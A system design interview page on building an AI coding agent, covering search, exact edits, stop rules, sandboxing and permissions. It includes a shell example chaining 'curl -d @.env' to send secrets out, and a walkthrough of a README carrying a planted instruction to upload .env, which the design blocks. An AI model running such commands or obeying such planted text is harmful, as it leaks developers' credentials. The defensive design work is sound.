Black Friday: 30% off every plan through November 30. See the prices
SysDesignPrep.com
System design interview question

Design an AI Coding Agent

An agent that finds, edits and tests code in a developer’s repository, on their laptop or in the cloud: 8 M tasks a day.

Last updated 2026-11-21. Difficulty: hard. Patterns: code-search, tool-calling, sandboxing, context-assembly, undo. Reported at Meta, Databricks.

Sit this question with an AI interviewer.

An AI mock is timed like the real round, out loud or typed, and ends with a debrief scored for your level. Practice with AI, in every pass, has no clock and the AI Mentor beside you. Or watch a sample interview first.

Or sit it in the style of Meta · Databricks, run as that company’s round is reported to go.

The short answer

How to design an AI Coding Agent in a system design interview, in five steps:

  1. Scope it. Take a task and deliver a working change, find the relevant code in a large repository, apply edits exactly, run commands and verify, ask before anything risky, checkpoints and undo, watch, interrupt and steer, background tasks in the cloud, project instructions.
  2. Set the targets. Safe autonomy: ≤ 1 prompt per 10 min of work · 0 unapproved actions outside the project; Edit correctness: 0 silent bad writes · edits only to a version the model read; Task latency: first output < 2 s · typical task ~4 min; Context efficiency: main context < 100 k of 200 k tokens on a typical task.
  3. Do the numbers. Tasks started per second: ~93/s avg · ~280/s peak; Model calls per second: ~2.3 k/s avg · ~7 k/s peak; A large repository against the window: ~100 M tokens · the window holds 0.2 %.
  4. Draw the design. Agent harness, Session log, Model gateway, Model providers, Explore subagents, Permission engine, Search tools, Working tree, Edit applier.
  5. Go deep where it is hard.
    • Finding the right code in a large repo → Agentic search on the live tree: glob, grep, ranged reads and symbol lookups as tools.
    • Applying edits reliably → Exact search-and-replace with a uniqueness check and a read-version check.
    • When is the task done? → Checks as the exit condition, narrow to wide, with a stop rule for repeated failures.
    • What can run without asking → An OS-level sandbox for every command, plus narrow rules and prompts for what crosses the boundary.
    • Checkpoints and undo → Back up each file before the agent’s first edit to it in a turn, keyed by (session, turn).
    • One task, locally or in the cloud → The same harness in a VM per task, environment snapshots keyed by setup and lockfile hashes, a branch-scoped git proxy.
The AI Coding Agent design, as drawn at the end of the walkthrough: Developer (terminal / IDE), Agent harness (local loop), Models (large + small), Working tree (files + git), Search tools (rg, glob, LSP), Explore subagent (fresh context), Edit applier (exact, hash-checked), Checkpoints (file backups), Session log (JSONL on disk), Permission engine (rules, modes), OS sandbox + egress proxy, Git host (branch-scoped push), Model gateway (routing, limits), Cloud runner (VM per task) and Env snapshots (setup + lockfiles).
The design at a glance. The architecture the walkthrough ends on. Watch it built step by stepOpen full size

Functional requirements

  • Take a task and deliver a working change. The developer types "the checkout test fails since yesterday’s merge, fix it" in a terminal or an IDE panel. The deliverable is a diff in their working tree that passes the project’s checks, plus a short account of what changed and how it was verified, not a chat answer.
  • Find the relevant code in a large repository. Repositories up to ~50 k files, about 100 M tokens, against a 200 k-token window: the model sees 0.2 % at a time. It must search, read line ranges and follow symbols, and it must see the developer’s uncommitted changes, not last night’s copy.
  • Apply edits exactly. Every edit lands where the model meant or fails loudly. Never a silently mangled file, and never an edit to a version of the file the model has not seen, even while the developer is typing in the same file.
  • Run commands and verify. Run tests, type checks, linters and builds, read the output, and loop until the checks pass or the agent is stuck. "Done" needs evidence from a command that ran, and changing a test so it passes is not a fix.
  • Ask before anything risky. Reading and editing inside the project can run without asking; deleting outside it, pushing, deploying or sending data to a new host asks first. The developer picks a mode per session: ask before every edit, accept edits automatically, or plan only.
  • Checkpoints and undo. Rewind the code, the conversation, or both, to any earlier turn. The agent says plainly what a rewind cannot undo, such as a database migration it ran or a package it installed.
  • Watch, interrupt and steer. Progress streams as it happens. The developer can interrupt mid-step and redirect ("not that file, the v2 handler") without losing the work so far, and resume the session the next day.
  • Background tasks in the cloud. Send a task to a cloud machine, close the laptop, and get a branch or a pull request back; later, continue the same session locally. Several tasks can run at once on one repository.
  • Project instructions. A file in the repository (build and test commands, conventions, what never to touch) loaded at the start of every session, local or cloud, and kept by the team under version control.
  • Out of scope. Serving the models (the LLM Inference question), hosting thousands of companies’ agents as a multi-tenant platform with durable runs (the AI Agent Platform question), inline completions as you type (the GitHub Copilot question), automated code review, and billing.

Non-functional requirements

  • Safe autonomy (≤ 1 prompt per 10 min of work · 0 unapproved actions outside the project). The requirement that drives the hardest tradeoff. The agent runs as the developer, with their SSH keys, cloud credentials and network. Ask too often and people approve without reading or turn the checks off; ask too rarely and one instruction planted in a README can push code or leak a secret.
  • Edit correctness (0 silent bad writes · edits only to a version the model read). A wrong edit that applies cleanly is worse than one that fails, because the developer reviews it later, if at all. Every write checks that the file is unchanged since the model last read it.
  • Task latency (first output < 2 s · typical task ~4 min). The developer is often waiting. About 150 s of a typical task is model time and 80 s is tests, so running only the affected tests and running read-only tool calls in parallel matter as much as model speed.
  • Context efficiency (main context < 100 k of 200 k tokens on a typical task). Quality falls and cost rises as the window fills. Exploration happens in subagents that return short reports and tool output is capped, so most tasks finish without ever compacting.
  • Cost per task (~$0.72 typical · ≥ 90 % of input tokens cached). About 1 M input tokens a task. At 8 tasks a developer a day that is ~$127 a month in model cost, which a subscription has to cover, so prompt layout, model routing and limits are product decisions.
  • Privacy of code (no off-machine index without opt-in · secrets never read silently). Code reaches the model provider only as the turns that need it. Files such as .env and ~/.aws are never read into the context without asking, because anything in the context can end up in a command or a commit.
  • Recoverability (every agent edit undoable · a crash loses ≤ the turn in flight). The session log and file backups are written before the next step starts, so a crashed terminal, a closed laptop or a rewind loses nothing the developer can see.
  • Same behaviour locally and in the cloud (one harness · cloud start < 30 s warm). The same loop, tools, permission rules and project instructions run in both places, so a task behaves the same wherever it runs. A cloud task starts from a cached environment, not a fresh install.

Back-of-envelope estimates

  • Tasks started per second: ~93/s avg · ~280/s peak. 1 M daily active developers × 8 tasks a day = 8 M tasks/day ÷ 86 400 s ≈ 93/s, about 280/s at a 3× working-hours peak. Small as request rates go: each task is minutes of work, most of it on the developer’s own machine.
  • Model calls per second: ~2.3 k/s avg · ~7 k/s peak. 8 M tasks × 25 model calls each = 200 M a day ÷ 86 400 s ≈ 2.3 k/s, ~7 k/s at peak. The ~20 tool calls a task run on the developer’s laptop and cost the servers nothing: locally, the server side is a model gateway and the agent is a client.
  • A large repository against the window: ~100 M tokens · the window holds 0.2 %. 50 k files × 8 KB average = 400 MB of source ≈ 100 M tokens at about 4 bytes a token. A 200 k-token window holds 0.2 % of it, so the agent can never read the repository: finding the right 2 to 5 files is the first problem, not a detail.
  • Input tokens per task: ~1 M (vs ~10 k output). Context starts at 15 k tokens (system prompt and tool definitions 12 k, project instructions 2 k, the task) and grows ~2 k per call (the model’s output plus a capped tool result). Over 25 calls: 25 × 15 k + 2 k × (0 + 1 + … + 24) = 375 k + 600 k ≈ 1 M input tokens against ~10 k output: every call re-sends everything so far.
  • Model cost per task: ~$0.72 (vs ~$3.15 uncached). At illustrative prices of $3 per M input tokens, $0.30 per M cached input and $15 per M output: 10 % of 1 M uncached = $0.30, 90 % cached = $0.27, 10 k output = $0.15, so ~$0.72 a task. With no cache hits it is ~$3.15: a prompt that starts with the same bytes on every call is worth more than any other optimisation.
  • Model cost per developer per month: ~$127. 8 tasks × $0.72 = $5.76 a working day × 22 days ≈ $127 a month at list prices. That is more than many subscriptions cost, so routing exploration to a smaller model, the cache hit rate and usage limits are product decisions, not tuning.
  • Wall-clock time per task: ~4 min. 25 model calls × (~1 s to the first token + 400 output tokens at ~80 tokens/s ≈ 6 s) ≈ 150 s, plus 4 test or build runs × 20 s = 80 s; searches and reads add a few seconds. About 4 minutes, mostly waiting on the model and the tests, so parallel read-only tool calls and running only the affected tests are the latency levers.
  • Cloud tasks: VMs and setup time: ~8 k VMs · 40 k VM-hours/day of setup if uncached. If 10 % of tasks run in the cloud, that is 800 k a day ≈ 9.3/s; at 15 min each, Little’s law gives ~8.3 k busy VMs on average and ~25 k at peak. Installing dependencies from scratch (~3 min) would cost 800 k × 3 min = 40 k VM-hours a day and make every task wait 3 minutes before the agent starts; restoring a cached environment in ~10 s costs ~2.2 k.

Components

  • Developer (terminal · IDE · web): Gives the task, watches progress, answers permission prompts, interrupts and rewinds. The same session can be driven from a terminal, an IDE panel or a web page for cloud tasks. Locally, the developer’s working tree, credentials and network are what the agent runs with, which is why every risky action comes back here.
  • Agent harness (local loop · context budget): The loop on the developer’s machine: render the prompt (a stable prefix, then the session), call the model, send the tool calls it asks for through the permission engine, append everything to the session log, repeat. It owns the context budget: it caps tool output, hands exploration to subagents and compacts near the limit. Read-only tool calls from one model turn run in parallel; edits and commands run one at a time, in order.
  • Session log (append-only JSONL on disk): Every event of every session: the task, model outputs, tool calls and capped results, permission decisions, compactions and turn boundaries, written before the next step starts. Resume, rewind and the hand-off between laptop and cloud all read it. Kept per project on the developer’s machine, and uploaded only when a session moves to or from the cloud.
  • Model gateway (auth · routing · usage limits): The only server-side hop on a local task: authenticates the developer, applies plan limits, routes the main loop to a large model and subagents to a smaller one, and sends a session’s calls to the same deployment so its prompt prefix stays cached. It holds no code, only usage counts. The multi-tenant version, with fair queues and budgets across thousands of customers, is the AI Agent Platform question.
  • Model providers (large + small models): A large model for planning and editing and a small, fast one for searching and summarising, bought as capacity. Calls take 1 to 30 s. A prompt that starts with the same bytes as the previous call is billed at about a tenth of the price for that part, which is why the harness never reorders the start of the prompt.
  • Explore subagents (fresh context · read-only tools): Child loops the main model starts with a focused question ("where is shipping tax computed?"). Each has a fresh context, a smaller model and read-only tools checked by the same rules, reads as much as it needs and returns a report of 1 to 2 k tokens with paths and line ranges. The main context grows by the report, not by the 70 k tokens of searching behind it.
  • Permission engine (rules · modes · shell parser): Decides every tool call before it runs: allow, ask or deny, from the session’s mode, the project’s, user’s and organisation’s rules, and the call itself. Shell commands are parsed into their parts, so "git status && curl -d @.env …" is judged command by command and an allowed prefix cannot smuggle in a write. An "always allow" answer is stored as a narrow rule (this command, this project), never as "allow everything".
  • Search tools (ripgrep · glob · LSP): Glob for file names, ripgrep for text (well under a second over 400 MB once the files are in the page cache), reads by line range, and definition and reference lookups from a language server where one runs. Results are capped (paths first, then matches with a few lines of context) with a note saying what was cut. Always reads the live working tree, so it sees uncommitted edits and the current branch.
  • Working tree (files + git): The checkout the agent works in: files, the git index and uncommitted changes, which the developer may be editing at the same moment. Locally it is their real directory; in the cloud it is a clone in the VM at a known commit. None of the agent’s own state lives here, only its edits.
  • Edit applier (exact replace · read hash): Applies an edit given as an exact old snippet and its replacement. It refuses if the snippet is missing or matches more than once, and refuses if the file’s hash differs from the one recorded when the model last read it, so it never edits a version the model has not seen. It backs the file up, writes atomically, runs the formatter and returns diagnostics in the same turn.
  • Checkpoints (file backups per turn): A copy of each file as it was before the agent’s first edit to it in a turn, keyed by (session, turn, path). Rewind restores those files and the session log truncates the conversation to the same turn. About 50 KB a task, so every one is kept for 30 days; what no backup holds is the effect of a shell command.
  • OS sandbox (Seatbelt · bubblewrap · proxy): Wraps every shell command, and every process it starts, in an operating-system sandbox: writes only inside the project and temp directories, secrets paths unreadable, network only through a local proxy that allows listed domains and asks about new ones. Commands inside the boundary run without a prompt, which is what makes the agent autonomous without trusting the model. What must run outside it, such as Docker, goes back to the rules and usually asks.
  • Cloud runner (VM per task · same harness): Takes a background task, starts a VM from the cached environment, fetches the repository at the requested commit and runs the same harness, tools and rules in an unattended mode where anything that would ask is denied. The network reaches package registries, the model gateway and a git proxy, and the only credential is one that can push a single branch. It streams the session log to the developer and returns a branch or a draft pull request.
  • Environment cache (key = setup + lockfile hashes): Disk snapshots of a repository’s environment after its setup script ran: dependencies installed, tools built, test services seeded. Keyed by (repo, setup script hash, lockfile hashes) and rebuilt in the background when a lockfile changes on the default branch, so a task restores in ~10 s instead of installing for ~3 minutes. Code is always fetched fresh on top, so a stale snapshot costs install time, never correctness.
  • Git host (fetch · branch-scoped push): Where branches and pull requests live (GitHub, GitLab). A local push asks the developer first. Cloud VMs reach it only through a git proxy that holds the real token and allows pushing to the task’s own branch, so code the agent wrote can never push to main or read other repositories.

User flows

  1. Fix a failing test, end to end. The core loop on the developer’s laptop: look, edit, verify. Each step is small and checked, and the agent says it is done only after a command it ran shows the fix works.
    1. The developer asks the agent to fix a failing checkout test; the harness starts a session and loads the project’s instructions file. The instructions file (build and test commands, conventions, what not to touch) lives in the repository, so the whole team’s agents share it and it changes through review. The task, and every event after it, is appended to the session log before the next step, which is what makes resume and rewind possible.
    2. The harness makes the first model call: a stable prefix of system prompt, tool definitions and project instructions, then the task. The first ~14 k tokens are byte-identical on every call of this session and of every session in this project, so from the second call on about 90 % of input is billed at the cached price. The model replies with a short plan and three read-only tool calls at once: run the failing test, search for the function in the error, list the checkout package.
    3. The permission engine allows the test run and the searches, and the harness runs them in parallel. pytest matches an allow rule for this project and runs inside the OS sandbox, where it can write only in the project and temp directories. Read-only calls from one turn run in parallel, which saves seconds on every turn; anything that changes files runs one at a time, so results arrive in a known order.
    4. The model reads the two functions named in the error, by line range, and sees the discount applied twice. Reading lines 60 to 140 instead of a 1 500-line file costs 1 k tokens instead of 18 k, and every later call of the session pays for whatever is read now. The harness records the hash of each file it returns, which the edit applier will check before any write.
    5. The model proposes an edit as an exact snippet and its replacement; the applier checks it, backs the file up and writes it. The old snippet must match exactly once and the file must still hash to what the model read; otherwise the edit fails with a reason the model can act on. The pre-edit copy goes to the checkpoint store first, so this turn can be rewound. The formatter then runs, and its diagnostics come back with the result.
    6. The harness runs the failing test again, then the tests for the touched module and the type checker. Narrow first, then wider: the one test proves the fix, the module’s tests catch what the fix broke, and the type checker catches callers. The full suite (12 minutes in this repository) is left to CI unless the developer asks, and the summary says so. If any check fails, its output is the next turn’s input.
    7. The model writes a short summary with the diff and the evidence, and the session waits for the developer. The summary names the cause, the change, the commands that passed and what was not run. Committing is left to the developer or done on request, because a commit is visible to teammates and an uncommitted edit is not.
  2. Find the code in a 50 k-file monorepo. The task names a behaviour, not a file: "orders shipped to Canada are taxed twice". The repository is 500 times the window, so the agent searches in a separate context and brings back only what it needs.
    1. The main model starts an exploration subagent with a focused question instead of searching in its own context. Searching a large repository means many reads that turn out to be irrelevant, 60 to 80 k tokens of them here. Done in the main context, every later call of the task would pay for them and the model would have to reason past them. The subagent’s context is thrown away when it reports.
    2. The subagent runs on a smaller, faster model with a fresh context and read-only tools. Searching is mostly choosing the next query and skimming, which a small model does well at a fraction of the price and about twice the speed. It cannot edit or run commands, so its permission surface is reading inside the project, and several subagents can run in parallel on different questions.
    3. It searches by file name and text first, asking for matching paths before matching lines. Paths first is the cheap way to see the shape of the answer: 40 paths cost about 400 tokens, while 900 matching lines would cost 20 k. ripgrep over 400 MB of source takes well under a second once the files are in the page cache, and it skips what .gitignore excludes, such as build output and vendored packages.
    4. Where names are ambiguous, it asks the language server for a definition and its references. Text search finds a compute_tax in 14 services; the language server knows which one this import resolves to and who calls it. It is exact, but it works one language at a time and is slow to start on a large repository, so it is a tool the model chooses, not a step on every task.
    5. It reads the few relevant ranges and returns a short report with paths, line ranges and how they connect. The report is about 1.5 k tokens: where tax is computed, where it is added a second time for international orders, and the test file that covers it. The subagent read about 70 k tokens to write it, so the main context grew by about 2 % of what the search cost.
    6. The main model reads the exact ranges it will change before editing them. A report is a summary, and an edit must be based on the actual text: the applier refuses edits to a file the main loop has not read. Reading two ranges is about 2 k tokens, and this is where the main context pays for precision.
    7. The session log keeps the subagent’s report and a pointer to its transcript, not the transcript itself. The subagent’s full transcript is saved beside the session for debugging, but the main loop never re-reads it. If the task resumes tomorrow, the report is what it sees.
  3. A risky command and a planted instruction. The agent installs a package and later pushes, and a README contains instructions aimed at it. The permission engine and the sandbox decide what runs without asking, and neither relies on the model behaving.
    1. The model asks to run a compound command that installs a package and then runs the tests. The engine parses the line into its commands and judges each against the rules. A prefix rule such as "anything starting with npm" would also allow npm publish; parsing is what makes narrow rules safe. Anything it cannot parse, such as eval or a script piped into sh, asks.
    2. Both run inside the OS sandbox, where npm can reach the package registry and nothing else. Writes are allowed under the project and temp directories only, and the network goes through a local proxy that allows the registry. A postinstall script that tries to read ~/.ssh or reach another host is stopped by the operating system, not by the model’s judgement, which is why this needed no prompt.
    3. Reading the README for setup steps, the model meets a hidden instruction to upload the .env file to a paste site. Repository content is untrusted input: READMEs, issues, comments, dependency code, test output and fetched pages can all contain text addressed to the agent. Assume the model is sometimes fooled. The goal is that being fooled cannot leak a secret or push code.
    4. The model tries the command; the engine denies it outright and the developer sees the attempt flagged. Two independent layers: secrets paths are denied to every tool and every sandboxed process, and an unlisted host is never reached without a prompt. A deny goes back to the model as a tool result that says why, and the transcript flags it right after the README the model read, which is the context the developer needs.
    5. Later the model wants to push the branch, which always asks, and the developer allows it once. A push is visible to the team and cannot cleanly be taken back, so it asks unless the developer made a rule for it. "Allow once" covers this command only; "always allow" would store a narrow rule (push to non-main branches of this repository), never "allow all git".
    6. The session records every decision, so the developer can review what ran and tighten or loosen the rules. Each check is logged with the rule that decided it. The useful numbers per developer are prompts per hour and the share approved: a command approved every single time belongs in an allow rule or inside the sandbox, so the prompts that remain get read.
  4. A stale edit, a stuck loop and a rewind. The developer edits the same file while the agent works, the fix keeps failing, and in the end the developer wants the last ten minutes undone. Each failure must be loud, bounded and reversible.
    1. The model sends an edit to a file the developer has saved a change to since the model read it; the applier refuses. The file’s hash no longer matches the one recorded at the model’s last read, so the edit fails rather than overwriting the developer’s work or editing text the model has not seen. Applying a stale snippet that still happens to exist would be worse than failing: it would land in code whose surroundings have changed.
    2. The model re-reads the changed range and makes the edit again on the current text. Re-reading costs a few hundred tokens and keeps the developer’s change. The harness also watches for files changed outside the agent and mentions them at the start of the next turn, so the model stops working from an old picture of the code.
    3. The tests still fail the same way after a third attempt at a fix. The harness records a failure signature after each run: the failing test names and the first error line. The same signature after three edits means the model is guessing, and more attempts mostly add tokens and edits that will need undoing.
    4. The harness tells the model to stop editing, and the model reports what it tried and asks the developer. Stopping is a feature. A short report ("three attempts, same failure; tried X, Y and Z; the test expects 0 for a fully refunded order but docs/refunds.md says it should raise") lets the developer unblock it in one sentence. Editing the test to match the code is not an acceptable way out, and the summary must say if any test changed.
    5. The developer decides the last ten minutes were a wrong turn and rewinds the code and the conversation to turn 6. Rewind writes back each file the agent changed after turn 6 from its backup and truncates the session to turn 6, so the next prompt starts from the same code and the same context. If the developer has changed one of those files by hand since, the rewind shows the conflict instead of overwriting their change.
    6. The rewind lists what it could not undo: a database migration the agent ran in turn 8. Checkpoints hold files the agent changed through its edit tools, not the effects of shell commands: a migration, a deleted directory, an installed package. The harness lists every command that ran after the checkpoint and flags the ones that change state, so the developer runs the down-migration rather than assuming the database matches the code.
  5. Send it to the cloud, pick it up locally. The developer hands a task to a cloud VM and closes the laptop. The same harness runs there from a cached environment with a credential that can push one branch, and the session comes back as a branch plus its transcript.
    1. The developer sends the task to the cloud with the repository, a base commit and an environment name. A cloud task needs only what a fresh clone needs: repository, commit or branch, and an environment (setup script, allowed domains, the secrets its tests use). Uncommitted local changes are not uploaded silently: the developer pushes them first, or the task starts from the last commit.
    2. The runner restores the environment snapshot for this repository’s setup script and lockfiles, and fetches the commit on top. The key is (repo, setup script hash, lockfile hashes): dependencies change rarely and code changes constantly, so the snapshot holds the first and git supplies the second. A hit restores in ~10 s; a miss runs the setup script (~3 min) once and saves a snapshot for the next task.
    3. The VM runs the same harness, with the same tools and project rules, in a mode that never asks. Nobody is there to answer a prompt, so anything that would ask is denied with the reason fed back to the model, and the VM itself is the boundary: the network reaches package registries, the model gateway and the git proxy only. The instructions file and rules are the same as on the laptop, which is why a cloud result can be trusted like a local one.
    4. Model calls go through the same gateway, and progress streams to the developer’s phone or browser. The calls are identical to a local session’s, so cost and behaviour match. The runner tails the session log and serves it with sequence numbers, so the developer can watch from a phone, put it away and catch up later without gaps.
    5. When the checks pass, the harness commits and pushes the task’s branch through the git proxy. The VM never holds the real token. The proxy adds it and allows exactly one thing, pushing to agent/cursor-pagination, so code the agent wrote or an instruction it read cannot push to main, read other repositories or keep a token for later. The worst case is a bad branch, which a person reviews.
    6. The developer opens the session on the laptop: the branch is checked out, the transcript loaded, and the conversation continues there. A session moves as two things that already exist: the branch holds the code and the session log holds the context. Locally it continues under the developer’s own rules and prompts again; going the other way, laptop to cloud, needs local changes pushed first for the same reason.
    7. The VM is deleted, and the environment snapshot stays for the next task. Nothing in the VM is needed again: the code is in git and the context in the session log. Snapshots are rebuilt in the background when a lockfile changes on the default branch, so the next task rarely pays the 3-minute install.

Deep dives

Finding the right code in a large repo

The repository is 100 M tokens and the window is 200 k. Why not build an embedding index of the code, the way a RAG system would?

A 50 k-file repository is about 400 MB, roughly 100 M tokens, and the model sees 0.2 % of it at a time, so retrieval sets the quality of everything after it: an edit to the wrong one of three similar functions passes review more easily than an obvious mistake. The working tree is also not a static corpus. The developer has uncommitted changes, switches branches several times a day, and the agent itself edits files every few turns, so an index built from it is out of date within minutes. And the code is private: an index on a server means uploading it, which many companies will not allow.

The observation that shapes the answer: in code, most useful queries are exact. Identifiers, error messages, file names, imports and call sites can be found by text search on the live files, which is always fresh, needs no build step and keeps the code on the machine. What text search misses is the conceptual question whose words do not appear in the code ("where do we decide who sees a draft?"), and a model that can search, read what it finds and search again closes most of that gap, at the cost of more steps.

  • Agentic search on the live tree: glob, grep, ranged reads and symbol lookups as tools chosen
  • Embedding index of code chunks, synced by a Merkle tree of file hashes situational: Very large monorepos where conceptual questions are common and the organisation allows code to be indexed off the machine; offered as one more search tool, not as automatic context.
  • A repository map in the prompt: the file tree plus top-level symbols situational: Small repositories of a few thousand files, where a compact map fits in a few thousand tokens and saves the first round of searches.
  • Retrieve chunks automatically and insert them before every model call rejected

The answer: Give the model search tools and let it search the way a developer new to the codebase would: glob for file names, ripgrep for text (well under a second over 400 MB once the files are in the page cache, skipping what .gitignore excludes), reads by line range, and definition and reference lookups from a language server when one is running. Every result is capped (at most ~50 paths first, matches with two lines of context, reads of at most ~2 k lines) with a note saying what was cut, so the model narrows its query rather than assuming it saw everything. Broad exploration runs in a subagent with a fresh context and a smaller model, which reads 50 to 80 k tokens and returns a report of 1 to 2 k tokens with paths and line ranges, so the main context pays for the answer and not for the search. The project instructions file names the build and test commands and the main directories, which saves the first round of searching on every task. For very large monorepos with many conceptual questions, add a semantic search tool over an embedding index kept in sync by a Merkle tree of file hashes, where the organisation allows it, as a tool the model can call rather than as text pushed into every prompt. Claude Code’s team has said publicly that agentic search worked better for them than an embedding index, and Cursor has described indexing code with embeddings and Merkle-tree sync, so both approaches run in production.

The developer asks "where do we decide who can see a draft post?" and nothing in the code is called draft.

This is the query text search is worst at. The model starts from what it can name: the post model, the routes that return posts, the permission module. It greps for those, reads the code that filters results and follows the calls until it finds the visibility check, which takes 5 to 10 steps in a subagent and a couple of thousand tokens in the main context. If questions like this are common in a repository, that is the case for adding a semantic search tool.

Why not let the model read whole files?

Because every token read stays in the context and is paid for again, mostly at the cached price, on every later call of the task, and it crowds the window. A 1 500-line file is about 18 k tokens; reading five early costs 90 k tokens on every call that follows. The 80 lines around a match cost about 1 k. Whole-file reads are fine for small files, and for the file being edited when its structure matters.

If you did need an embedding index, how would you keep it in sync?

On the client, hash every file and build a Merkle tree over the directories; the server keeps the same tree, so a sync compares hashes from the root down and finds the few changed files in a handful of comparisons instead of 50 k. Only those files are re-chunked along syntax boundaries (functions, classes) and re-embedded. Store embeddings against obfuscated paths and read the actual code from the local disk at query time, so the server never needs the source. Results still go to the model as candidates to read, not as answers.

How do you know search is working?

Offline, on past fixes with known answers: did the agent read the files the real fix changed, and how many tokens and turns did it take to find them. In production, track turns before the first edit, tokens read per task, and how often an edit fails because the model never read the file. A rise in turns before the first edit is usually the first sign that a model or tool change made search worse.

What does search cost per task?

In the main loop, a few thousand tokens of reports and ranges if exploration is delegated. In subagents, 50 to 80 k tokens on a small model at a fraction of the large model’s price, so a few cents. The bigger cost is latency, since each search round is a model call of 1 to 3 s, which is why independent searches go out in one turn and run in parallel.

Applying edits reliably

The model has decided what to change. How does that change get into the file, and how do you make sure it lands where the model meant?

An agent makes 5 to 10 edits a task, 40 to 80 M a day at this scale, into files from 20 to 20 000 lines. Models are good at writing the new code and unreliable at the bookkeeping around it: line numbers drift after the first edit, hunk headers are off by one, and a long file rewritten from memory loses a function in the middle. Meanwhile the developer may save the same file in their editor, a formatter may rewrite it on save, and the model may have last read it ten turns ago.

The insight is to ask the model only for what it is good at, the text, and let the tool do the locating and the checking. An edit expressed as "replace this exact snippet with that one" can be verified mechanically: the snippet must exist exactly once, in the version of the file the model actually read. When a check fails, the error tells the model what to do next, which turns a silent corruption into one extra turn.

  • Exact search-and-replace with a uniqueness check and a read-version check chosen
  • Rewrite the whole file situational: New files and small files of a few hundred lines, or when most of the file changes.
  • Unified diff with line numbers rejected
  • A fast apply model that merges a sketch of the change into the file situational: Editors where the main model writes loose sketches ("… existing code …") and latency matters; the merged result still has to be diffed and checked.

The answer: The edit tool takes a path, an exact old string, a new string and an optional replace-all flag, and the applier enforces three rules: the old string occurs exactly once (or the call says replace all), the file’s current hash equals the hash recorded when the model last read it, and a file the model has not read in this session can be created but not edited. Failures come back as specific errors: "not found" (usually whitespace or an outdated memory of the file), "found 3 times, include more surrounding lines", "file changed since read, re-read lines 110 to 140". Before writing, the applier copies the file to the checkpoint store, then writes atomically (a temp file and a rename) so a crash never leaves half a file, runs the project’s formatter, and returns diagnostics from the type checker or language server, so the model sees a broken import in the same turn instead of three turns later. New files and small rewrites use a write tool with the same backup and diagnostics. Several edits to one file in a turn apply in order, each checked against the result of the one before. Aider has published benchmarks showing that the edit format alone changes how often models complete coding tasks, and an exact old-string, new-string edit is the shape Claude Code’s edit tool uses.

The developer is typing in the same file while the agent edits it.

The read-version check catches it: the hash recorded at the model’s last read no longer matches, so the edit fails and the model re-reads the range, which costs a few hundred tokens and keeps the developer’s change. The harness also watches for files changed outside the agent and mentions them at the start of the next turn. Inside an IDE, the edit can be shown as a pending diff in the buffer rather than written under the developer’s cursor.

Why not apply fuzzily when the snippet is almost right?

Because "almost right" is when the model’s picture of the file is wrong, and that is when an edit is most likely to land in the wrong place. A fuzzy match on the wrong one of two similar blocks produces code that compiles and passes review. A strict failure costs one more turn. The one normalisation worth doing is trailing whitespace and line endings, reported back so the model knows.

The model needs to rename a function used in 300 places.

Not 300 edits by the model. It should use the language server’s rename, or a codemod run through the shell under the normal rules, then read a sample of the result and run the type checker and tests. Model-written edits are for changes that need judgement; mechanical changes belong to mechanical tools. A shell rewrite is not captured by checkpoints, so the harness suggests committing first.

How do you measure edit reliability?

Per model and tool version: the edit failure rate by reason (not found, ambiguous, stale), turns lost to retries, and the share of edits the agent itself reverts later in the same task. A jump in "not found" after a model upgrade usually means the new model reproduces whitespace differently, which is a format or prompt fix, not a reason to roll the model back.

Why run the formatter and type checker after every edit?

Because feedback is cheapest in the same turn. A missing import caught by the type checker right away costs one small edit; caught by a test run four turns later, it costs a test run and a search for the cause. Formatting also keeps the diff the developer reviews free of noise, and the formatted file’s hash becomes the recorded one, so the next edit is checked against what is really on disk.

When is the task done?

The agent says it fixed the bug. How does it know, and what stops it from looping forever, or from fixing the test instead of the code?

The model decides when to stop, and it can be wrong in both directions: it declares success after an edit that looks right but never ran, or it keeps editing for 40 turns, each attempt a little further from the original code. A typical task takes ~25 model calls and ~4 minutes, of which ~80 s is tests; running a 12-minute full suite after every edit would make tasks take an hour. And the cheapest way to make a failing test pass is to change the test, which is sometimes right and usually not.

The observation: the project already has a judge. Tests, type checkers, linters and builds are the evidence a human reviewer would ask for, so the loop should be organised around running the narrowest check that proves the change and then widening, with stop rules that the harness enforces rather than ones the model is trusted to follow.

  • Checks as the exit condition, narrow to wide, with a stop rule for repeated failures chosen
  • Trust the model’s own sense of done rejected
  • Run the full suite after every edit rejected
  • A second model reviews the diff before finishing situational: Larger changes, or code without good tests, as a check on top of the tests and never instead of them.

The answer: The harness treats the project’s checks as the exit condition. The instructions file names the commands (test one file, test a module, type check, lint, build), and the model is prompted to reproduce the failure first, then fix, run the narrowest check, and widen to the module’s tests and the type checker; the full suite is left to CI unless asked, and the summary says what ran and what did not. After each run the harness records a failure signature (failing test names and the first error line): the same signature after three edit attempts adds a note telling the model to stop editing and report, and hard caps, say 100 turns or $5 a task by default and adjustable, end a runaway task with a summary rather than silence. Edits to test files are allowed but flagged in the summary, and the model must explain any changed assertion, because "make the test pass" is the instruction most easily met the wrong way. Tests known to be flaky are retried once and reported as flaky rather than fixed. A final message that claims success without a passing check after the last edit gets one more turn asking the model to verify.

The repository has no tests for this code.

Then the agent’s first job is to make the change checkable: write a small test that reproduces the bug and fails, make it pass, and leave the test in the diff for review. Where that is impractical (UI behaviour, an external service), it says so and lists the manual check the developer should do. What it must not do is report "fixed" with nothing behind it.

A test passes on the second run.

The harness keeps per-project flake records across sessions: a test that has both passed and failed on the same code is marked flaky, retried once, and reported as flaky rather than counted as fixed or broken. The model is told not to edit it unless the task is about it. Fixing a flaky test is a good task for an agent, but as its own task.

How do you test a new model or system prompt before shipping it?

On a suite of real tasks from real repositories with hidden tests, in the style of SWE-bench: each task is an issue plus the commit that fixed it, and the agent passes if the hidden tests pass on its change. Run each task several times, because runs vary, and report the share solved every time, with cost and turns per task beside it. Add tasks from production sessions that developers rejected, with consent, so the suite tracks the failures people actually see.

What do you measure in production?

Per task: whether the developer kept the change (committed it, or merged the pull request), how much of the diff they rewrote first, rewinds and interrupts, turns and cost per kept change, and how often a stop rule fired. Kept changes per dollar is the number developers feel. Turns and cost per task are the early warnings, because a regression shows up as more turns before it shows up as fewer kept changes.

Can the agent work on two tasks at once in the same repository?

Not in the same working tree, because their edits and test runs would interfere. Each parallel task gets its own git worktree (a second checkout of the same repository sharing one object store) on its own branch, locally, or its own VM in the cloud. The cost is disk and a separate dependency install per worktree, the same problem the cloud environment cache solves.

What can run without asking

The agent runs as the developer, with their SSH keys, cloud credentials and network. What may it do without asking, and how do you stop a README from turning it against them?

